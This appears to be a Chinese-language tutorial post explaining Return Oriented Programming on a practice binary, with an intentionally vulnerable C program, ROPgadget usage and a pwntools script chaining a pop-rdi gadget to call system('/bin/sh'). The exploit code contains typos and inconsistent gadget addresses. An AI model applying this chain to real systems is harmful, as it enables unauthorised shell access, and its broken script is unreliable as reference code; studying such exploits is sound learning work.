什么是ROP
*ROP(Return Oriented Programming)
即面向返回地址编程,其主要思想是在栈缓冲区溢出的基础上,通过利用程序中已有的小片段(gadgets)
来改变某些寄存器或者变量的值,从而改变程序的执行流程,达到预期利用目的。(一般这个gadgets
是返回地址,只有返回地址是可以我们随意操作的!)
源码
#include <stdio.h>
#include <string.h>
int main()
{
puts("SO plz qive me your shellcode");
char buffer[256];
memset(buffer,0,256);
read(0,buffer,256);
vul(buffer);
return 0;
}
void vul(char *msg)
{
char buffer[64];
memcpy(buffer,msg,128);
return;
}
检查
1.checksec pwnme
查看文件开启的安全防护机制
2.我们知道文件开启了,栈不可执行,我们在打开一个命令窗口。输入ps -a 我们可以观察到 图片.png
布局
图片.png*我们需要知道这个gadgets这个小片段,然我们可以使用ROPgadget这个工具来查找
ROPgadget --binary pwnme |grep rdi
图片.png
思路:我们将/bin/sh
先传入rdi
中,我们在调用system
函数。实现了我们将/bin/sh
传入system
。 system('/bin/sh')
/bin/sh和system的查找到IDA中查找
exp文件的编写 需要修改
from pwn import *
p = procces('./pwnme')
p.recvuntil('shellcode') #j接收字符串
gedgetr_add = 0x0000000000401253
libc_base = 0x00007ffff7dee000
##bin/sh和system的偏移地址
bin_sh = 0x000000000017F573
system = 0x00000000000435D0
##off end
bin_sh_off = libc_bace+bin_sh
system_off = libc_bace +system
##布局填充数据
paylod ='A'*72
paylod += p64(gedgetr_add)
paylod += p64(bin_sh_off)
paylod += p64(system_off)
with open('poc','wb') as f :
f.write(paylod)
p.sendline(paylod)
p.interctive()
添加知识点
如何用脚本查找bin/sh和system
from pwn import *
p = process('./pwnme')
p.recvuntil('shellcode')
elf = ELF('libc.so.6')
system_in_libc = elf.symbols['system']
bin_sh_in_libc = next(elf.search('/bin/sh'))
libc_base = 0x00007ffff7dee000
gadget_addr = 0x0000000000401243
system_addr = libc_base + system_in_libc
bin_sh_addr = libc_base + bin_sh_in_libc
print hex(system_addr) +'----'+hex(bin_sh_addr)
网友评论